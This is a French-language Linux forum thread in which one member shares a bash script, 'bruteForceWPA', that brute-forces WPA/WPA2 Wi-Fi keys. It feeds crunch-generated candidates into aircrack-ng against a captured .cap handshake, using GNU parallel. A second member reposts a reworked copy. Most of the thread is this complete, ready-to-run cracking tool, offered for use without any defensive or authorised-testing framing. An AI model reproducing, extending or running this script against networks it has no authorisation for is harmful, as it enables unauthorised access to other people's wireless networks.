user@linuxtrack:~ $ python -c 'print("Soyez les bienvenus !")'

Vous n'êtes pas identifié(e).

#1 10-01-2016 23:30:00

rodrigue daniel
Membre

Script bash pour le crack par force brute des clés WPA/WPA2

Salut, je suis Rodrigue Daniel

Je partage mon script bash permettant de craquer les clés WPA/WPA2 par force brute. Il s'agit de la version 0.3 améliorée à partir des conseils de IceF0x et des autres personnes dans un autre forum (hackademics)
En ce temps même, je suis en train d'écrire une version améliorée de mon script (version 1.0). Avec cette version une personne pourra lancer le crack de la clé WPA/WPA2 avec plusieurs machines en réseau. Donc non seulement, mon script pourra s'éxécuter en local, elle pourra aussi s'éxécuter en réseau avec deux ou plusieurs machines connectées afin d'accélérer le crack.
Voici le code de mon script pour la version 0.3

#!/bin/bash
#
# bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
# Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
# Mon blog : rodriguedaniel.blogspot.com
# 16/08/2015
# Dépendances : crunch, aircrack-ng, parallel (version 3)
# Testé sur Ubuntu et Kali Linux
 
set -u
 
###########################################################################################
# Definitions des variables
mini="" # variable contenant la longueur minimale des mots de passe
maxi="" # variable contenant la longueur maximale des mots de passe
ensCarac="" # variable contenant l'ensemble des caractères à utiler
numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
fichierCap="" # variable contenant le fichier .cap à craquer
chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
option=""  # variable contenant les options
optionSeul=""  # variable spécifiant le traitement unique de l'option -h ou --help 
comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
versionParallel="" # variable contenant la version du programme parallel
dependance=""

# Ensemble des caractères à utiliser
format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
format42="'"
format43='<>,.?/ ]'
 
###########################################################################################
# Debut du script
version="0.3"
 
clear
echo -e "\e[00;31m###########################################################\e[00m"
echo -e "\e[00;31m#                                                         #\e[00m"
echo -e "\e[00;31m#  bruteForceWPA : crack wifi (WPA/WPA2)                  #\e[00m"
echo -e "\e[00;31m#                                                         #\e[00m"
echo -e "\e[00;31m###########################################################\e[00m"
 
# Vérification du mode root
if [[ $EUID -ne 0 ]]; then
        echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
        exit 1
fi
 
# Vérification de la présence du programme crunch, aircrack-ng et parallel
declare -a tabDependances=(crunch aircrack-ng parallel) # Déclaration d'un tableau de dépendances
missingdep(){
echo -e "$RED\n Erreur : Impossible de trouver le programme $dependance, installez-le et réessayez.\n$NC"
exit 1
}
for dependance in "${tabDependances[@]}" ; do
        which $dependance > /dev/null || missingdep
done

# Vérification de la bonne version du programme parallel 
versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6)
if [ $versionParallel -lt 3 ]; then
      echo -e  "\n Erreur : Installez une version >= 3 du programme parallel.\n"
      exit 1
fi

# Définition des options du script
while getopts ":a:c:f:g:hm:p:-:" option ; do
 if [ "$option" = "-" ] ; then
  case $OPTARG in
   help ) option=h ;;
   #max ) option=g ;;
   #min ) option=p ;;
   * ) echo "$(basename $0): Option inconnue $OPTARG"
       echo -e "Essayer '$0 --help' pour plus d'information.\n"
       option=""
       ;;
  esac
 fi
 case $option in
  h ) echo -e "\nVersion $(basename $0) $version - (C) 2015"
      echo -e "Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com) \n"
      echo "Syntaxe : $0 [option...]"
      echo -e "\nOptions :"
      echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)."
      echo ""
      echo -ne "\t"
      echo $format1
      echo -ne "\t"
      echo $format2
      echo -ne "\t"
      echo $format3
      echo -ne "\t"
      echo -n $format41
      echo -n $format42
      echo $format43
      echo -e "\t (Par défaut l'option -a est pris en compte)"
      echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)."
      echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)."
      echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ."
      echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)."
      echo " -h, --help : Cet écran d'aide."
      echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n"
      optionSeul="o"
      exit 1
      ;;
  a ) if [ "$optionSeul" != "o" ] ; then
       if [ "$comSyntOpt" = "m" ] ; then
         echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
         echo -e "Essayer '$0 --help' pour plus d'information.\n"
         exit 1
       else
        numEnsCarac=$OPTARG
        case $numEnsCarac in
                1 ) ensCarac="mixalpha-space";;
                2 ) ensCarac="mixalpha-numeric-space";;
                3 ) ensCarac="mixalpha-numeric-symbol14-space";;
                4 ) ensCarac="mixalpha-numeric-all-space";;
        esac
      fi
     fi
     ;;
  c )if [ "$optionSeul" != "o" ] ; then
      chaineEssid=$OPTARG
     fi
     ;;
  f ) if [ "$optionSeul" != "o" ] ; then
       if [ "${OPTARG##*.}" != "cap" ] ; then
          echo "Nom fichier incorrect"
          echo -e "Essayer '$0 --help' pour plus d'information.\n"
          exit 1
       else
          fichierCap=$OPTARG
       fi
      fi
      ;;
  g ) if [ "$optionSeul" != "o" ] ; then
          maxi=$OPTARG
      fi
      ;;
  m ) if [ "$optionSeul" != "o" ] ; then
       if [ "$numEnsCarac" != "" ] ; then
           echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
           echo -e "Essayer '$0 --help' pour plus d'information.\n"
           exit 1
       else
           ensCarac=$OPTARG
           comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
       fi
      fi
      ;;
  p ) if [ "$optionSeul" != "o" ] ; then
          mini=$OPTARG
      fi
      ;;
  : ) if [ "$optionSeul" != "o" ] ; then
       echo "Argument manquant pour l'option -$OPTARG"
       echo -e "Essayer '$0 --help' pour plus d'information.\n"
       exit 1
      fi
      ;;
  ? ) if [ "$optionSeul" != "o" ] ; then
       echo "$(basename $0): Option inconnue $OPTARG"
       echo -e "Essayer '$0 --help' pour plus d'information.\n"
       exit 1
     fi
     ;;
 esac
done
 
# Exécution du crack de la clé WPA/WPA2
 
i=${mini:-5}
j=${maxi:-15}
 
if [ $i -eq $j ] ; then
        echo "1" > /tmp/temporaire
        echo "$i" >> /tmp/temporaire
else
        while [ $i -le $j ] ; do
                echo "$i" >> /tmp/temporaire
                i=$((i + 1))
        done
fi
 
bruteForce ()
{
 if [ "$numEnsCarac" = "" ] ; then
       ( crunch $1 $1 $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
 else
       ( crunch $1 $1 -f charset.lst $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
 fi
}
 
if [ "$optionSeul" != "o" ] ; then
 if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
      echo "Les options -c et -f sont obligatoires"
      echo -e "Essayer '$0 --help' pour plus d'information.\n"
      exit 1
 else
      export -f bruteForce
      export numEnsCarac
      export ensCarac
      export fichierCap
      export chaineEssid
      parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
      rm /tmp/temporaire
 fi
fi

exit 0

Merci à vous. (version 1.0 en cours)

Dernière modification par rodrigue daniel (11-01-2016 00:31:54)


Passionné par la Sécurité Informatique.
Le véritable ennemi de la connaissance n'est pas l'ignorance mais l'illusion de la connaissance.
La quête de la connaissance passe d'abord par l'humilité et ensuite la détermination.

Hors ligne

#2 11-01-2016 01:32:14

IceF0x
#! Gourou Linux

Re : Script bash pour le crack par force brute des clés WPA/WPA2

un peu trop d'appel à echo j'ai donc modifié comme ceci

#!/bin/bash
#
# bruteForceWPA : Script de crack WIFI des clés WPA/WPA2
# Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)
# Mon blog : rodriguedaniel.blogspot.com
# 16/08/2015
# Dépendances : crunch, aircrack-ng, parallel (version 3)
# Testé sur Ubuntu et Kali Linux
 
set -u
 
###########################################################################################
# Definitions des variables
mini="" # variable contenant la longueur minimale des mots de passe
maxi="" # variable contenant la longueur maximale des mots de passe
ensCarac="" # variable contenant l'ensemble des caractères à utiler
numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser
fichierCap="" # variable contenant le fichier .cap à craquer
chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI
option=""  # variable contenant les options
optionSeul=""  # variable spécifiant le traitement unique de l'option -h ou --help 
comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite
versionParallel="" # variable contenant la version du programme parallel
dependance=""

# Ensemble des caractères à utiliser
format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]'
format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]'
format3='3 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ]'
format41='4 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~[]{}|\:;"'
format42="'"
format43='<>,.?/ ]'
 
###########################################################################################
# Debut du script
version="0.3"
 
clear
echo -e "\e[00;31m###########################################################\e[00m"
echo -e "\e[00;31m#                                                         #\e[00m"
echo -e "\e[00;31m#  bruteForceWPA : crack wifi (WPA/WPA2)                  #\e[00m"
echo -e "\e[00;31m#                                                         #\e[00m"
echo -e "\e[00;31m###########################################################\e[00m"
 
# Vérification du mode root
if [[ $EUID -ne 0 ]]; then
        echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n"
        exit 1
fi
 
# Vérification de la présence du programme crunch, aircrack-ng et parallel
declare -a tabDependances=(crunch aircrack-ng parallel) # Déclaration d'un tableau de dépendances
missingdep(){
echo -e "\e[00;31m\nErreur : Impossible de trouver le programme $dependance, installez-le et réessayez.\n\e[00m"
exit 1
}
for dependance in "${tabDependances[@]}" ; do
        which $dependance > /dev/null || missingdep
done

# Vérification de la bonne version du programme parallel 
versionParallel=$(parallel -V | grep version | awk '{print $6}')
if [ "$versionParallel" -lt 3 ]; then
      echo -e  "\n Erreur : Installez une version >= 3 du programme parallel.\n"
      exit 1
fi

# Définition des options du script
while getopts ":a:c:f:g:hm:p:-:" option ; do
 if [ "$option" = "-" ] ; then
  case $OPTARG in
   help ) option=h ;;
   #max ) option=g ;;
   #min ) option=p ;;
   * ) echo "$(basename $0): Option inconnue $OPTARG"
       echo -e "Essayer '$0 --help' pour plus d'information.\n"
       option=""
       ;;
  esac
 fi
 case $option in
  h ) echo "
Version $(basename $0) $version - (C) 2015
Auteur: Rodrigue Daniel (email : rodrigue_daniel@yahoo.com)

Syntaxe : $0 [option...]

Options :
 -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1).

	$format1
	$format2
	$format3
	$format41$format42$format43
	(Par défaut l'option -a est pris en compte)

 -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire).
 -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire).
 -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' .
 -g <entier> : Longueur maximun des mots de passe (par défaut -> 15).
 -h, --help : Cet écran d'aide.
 -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).
"
      optionSeul="o"
      exit 1
      ;;
  a ) if [ "$optionSeul" != "o" ] ; then
       if [ "$comSyntOpt" = "m" ] ; then
         echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
         echo -e "Essayer '$0 --help' pour plus d'information.\n"
         exit 1
       else
        numEnsCarac=$OPTARG
        case $numEnsCarac in
                1 ) ensCarac="mixalpha-space";;
                2 ) ensCarac="mixalpha-numeric-space";;
                3 ) ensCarac="mixalpha-numeric-symbol14-space";;
                4 ) ensCarac="mixalpha-numeric-all-space";;
        esac
      fi
     fi
     ;;
  c )if [ "$optionSeul" != "o" ] ; then
      chaineEssid=$OPTARG
     fi
     ;;
  f ) if [ "$optionSeul" != "o" ] ; then
       if [ "${OPTARG##*.}" != "cap" ] ; then
          echo "Nom fichier incorrect"
          echo -e "Essayer '$0 --help' pour plus d'information.\n"
          exit 1
       else
          fichierCap=$OPTARG
       fi
      fi
      ;;
  g ) if [ "$optionSeul" != "o" ] ; then
          maxi=$OPTARG
      fi
      ;;
  m ) if [ "$optionSeul" != "o" ] ; then
       if [ "$numEnsCarac" != "" ] ; then
           echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'"
           echo -e "Essayer '$0 --help' pour plus d'information.\n"
           exit 1
       else
           ensCarac=$OPTARG
           comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser
       fi
      fi
      ;;
  p ) if [ "$optionSeul" != "o" ] ; then
          mini=$OPTARG
      fi
      ;;
  : ) if [ "$optionSeul" != "o" ] ; then
       echo "Argument manquant pour l'option -$OPTARG"
       echo -e "Essayer '$0 --help' pour plus d'information.\n"
       exit 1
      fi
      ;;
  ? ) if [ "$optionSeul" != "o" ] ; then
       echo "$(basename $0): Option inconnue $OPTARG"
       echo -e "Essayer '$0 --help' pour plus d'information.\n"
       exit 1
     fi
     ;;
 esac
done
 
# Exécution du crack de la clé WPA/WPA2
 
i=${mini:-5}
j=${maxi:-15}
 
if [ $i -eq $j ] ; then
        echo "1" > /tmp/temporaire
        echo "$i" >> /tmp/temporaire
else
        while [ $i -le $j ] ; do
                echo "$i" >> /tmp/temporaire
                i=$((i + 1))
        done
fi
 
bruteForce ()
{
 if [ "$numEnsCarac" = "" ] ; then
       ( crunch $1 $1 $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
 else
       ( crunch $1 $1 -f charset.lst $ensCarac  2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1
 fi
}
 
if [ "$optionSeul" != "o" ] ; then
 if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then
      echo "Les options -c et -f sont obligatoires"
      echo -e "Essayer '$0 --help' pour plus d'information.\n"
      exit 1
 else
      export -f bruteForce
      export numEnsCarac
      export ensCarac
      export fichierCap
      export chaineEssid
      parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme
      rm /tmp/temporaire
 fi
fi

exit 0

Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

Pied de page des forums